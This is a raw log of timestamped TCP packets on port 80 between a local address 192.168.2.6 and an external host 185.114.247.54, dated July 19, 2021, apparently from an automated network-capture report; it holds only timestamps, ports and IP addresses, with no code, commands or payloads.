Jul 19, 2021 18:35:55.474176884 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.474297047 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.474416018 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.540186882 CEST	49810	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.541218996 CEST	49812	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.552386045 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552413940 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552426100 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552442074 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552457094 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552469969 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552480936 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552526951 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.552571058 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.552709103 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552725077 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552854061 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.552854061 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.553000927 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.553045034 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.553103924 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.553112984 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.553235054 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.553248882 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.553350925 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.553467989 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631182909 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631208897 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631222010 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631329060 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631419897 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631454945 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631532907 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631656885 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.631671906 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.637300968 CEST	80	49810	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.637888908 CEST	49810	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.638955116 CEST	80	49812	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.640120029 CEST	49812	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.640592098 CEST	49812	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.673309088 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.673341036 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.678580999 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.738626003 CEST	80	49812	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.738662958 CEST	80	49812	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.738766909 CEST	49812	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.872817039 CEST	49812	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.873395920 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.875073910 CEST	49814	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.942569971 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.952336073 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.952557087 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.954324961 CEST	80	49814	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.954615116 CEST	49814	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.955214024 CEST	49814	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.970597029 CEST	80	49812	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.971302986 CEST	49812	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.034399033 CEST	80	49814	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.038903952 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.040627003 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.041290998 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.041441917 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.041754961 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.041840076 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.047235012 CEST	80	49814	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.049304008 CEST	49814	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.137300968 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.137327909 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.137689114 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.137746096 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.137810946 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.137860060 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.137861013 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.137926102 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.137991905 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.138003111 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.138098955 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.165333986 CEST	49814	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.166902065 CEST	49816	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.233725071 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.233776093 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.233787060 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.233798027 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.233808994 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.233875036 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.233921051 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.233932018 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.233946085 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.234018087 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.234064102 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.234075069 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.234110117 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.234163046 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.244198084 CEST	80	49814	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.245429993 CEST	49814	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.264542103 CEST	80	49816	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.264755964 CEST	49816	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.265394926 CEST	49816	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.330111027 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.330225945 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.343053102 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.343146086 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.362976074 CEST	80	49816	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.375003099 CEST	80	49816	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.375683069 CEST	49816	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.426268101 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.426368952 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.426378965 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.426388025 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.439109087 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.439152956 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.477562904 CEST	49816	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.480164051 CEST	49818	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.575673103 CEST	80	49818	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.577260017 CEST	80	49816	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.577284098 CEST	49818	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.577363014 CEST	49816	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.577780962 CEST	49818	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.580962896 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.581099033 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.670608997 CEST	80	49818	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.682306051 CEST	80	49818	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.682424068 CEST	49818	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.779787064 CEST	49818	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.780170918 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.781685114 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.792319059 CEST	49820	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.860482931 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.860615969 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.861293077 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.861434937 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.861615896 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.861705065 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.870886087 CEST	80	49820	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.870982885 CEST	49820	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.871646881 CEST	49820	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.874034882 CEST	80	49818	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.874149084 CEST	49818	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.876015902 CEST	80	49815	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.876113892 CEST	49815	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.940120935 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.940526009 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.940879107 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.940993071 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.941052914 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.941112041 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.941978931 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.942059040 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.942578077 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.942631960 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.942872047 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.942920923 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.943051100 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.943097115 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.943561077 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.943629980 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.944143057 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.944183111 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.944199085 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.944222927 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.944447994 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.944509029 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:56.950759888 CEST	80	49820	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.963310957 CEST	80	49820	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:56.963466883 CEST	49820	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.019555092 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.019575119 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.019634008 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.019668102 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.019668102 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.019685984 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.019721985 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.019738913 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.020596027 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.020689011 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.021087885 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.021106958 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.021121979 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.021162987 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.021209002 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.021440029 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.021506071 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.021761894 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.021826029 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.022416115 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.022500992 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.065360069 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.065479040 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.071245909 CEST	49820	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.072741032 CEST	49821	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.097491026 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.097524881 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.097579002 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.097629070 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.098539114 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.098611116 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.098939896 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.099225998 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.099457979 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.099613905 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.099632025 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.099647045 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.102324963 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.103833914 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.103854895 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.149605989 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.149641037 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.149653912 CEST	80	49820	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.149791956 CEST	49820	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.151858091 CEST	80	49821	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.151998997 CEST	49821	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.152796984 CEST	49821	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.176362038 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.176395893 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.176405907 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.176423073 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.196979046 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.197062969 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.232045889 CEST	80	49821	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.249362946 CEST	80	49821	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.249433994 CEST	49821	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.356029034 CEST	49821	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.356333017 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.357381105 CEST	49822	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.409909964 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.434947014 CEST	80	49819	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.434983969 CEST	80	49821	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.435075998 CEST	49819	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.437966108 CEST	49821	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.453680992 CEST	80	49822	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.453788996 CEST	49822	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.454588890 CEST	49822	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.489335060 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.489428997 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.489964008 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.490084887 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.490247965 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.490319967 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.551172018 CEST	80	49822	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.562300920 CEST	80	49822	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.562402010 CEST	49822	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.568005085 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.568201065 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.568442106 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.568526030 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.568835974 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.568903923 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.569237947 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.569299936 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.569314003 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.569365025 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.569679976 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.569745064 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.569997072 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.570056915 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.570275068 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.570338964 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.570404053 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.570457935 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.570693016 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.570758104 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.571094990 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.571170092 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.647020102 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.647047997 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.647170067 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.647212982 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.647268057 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.647336006 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.647361994 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.647449970 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.647639036 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.647727013 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.648246050 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.648264885 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.648411036 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.648792028 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.648884058 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.649019957 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.649110079 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.649604082 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.649682999 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.664886951 CEST	49822	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.665909052 CEST	49824	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.725141048 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.725233078 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.725248098 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.725338936 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.725699902 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.725936890 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.726346016 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.726619959 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.726733923 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.726859093 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.727132082 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.727381945 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.727782011 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.727917910 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.761791945 CEST	80	49822	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.762075901 CEST	80	49824	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.762183905 CEST	49822	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.762253046 CEST	49824	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.763139963 CEST	49824	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.803721905 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.803750038 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.803766966 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.803781033 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.817202091 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.817483902 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.859143972 CEST	80	49824	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.876622915 CEST	80	49824	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:57.876739025 CEST	49824	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.998610973 CEST	49824	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:57.999039888 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.000824928 CEST	49825	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.072958946 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.077826023 CEST	80	49823	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.080131054 CEST	80	49825	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.080858946 CEST	49825	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.080879927 CEST	49825	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.083200932 CEST	49823	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.094425917 CEST	80	49824	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.096810102 CEST	49824	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.160440922 CEST	80	49825	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.160469055 CEST	80	49825	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.163558960 CEST	49825	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.170759916 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.170875072 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.171576023 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.171776056 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.171977997 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.172112942 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.270200968 CEST	80	49826	185.114.247.54	192.168.2.6
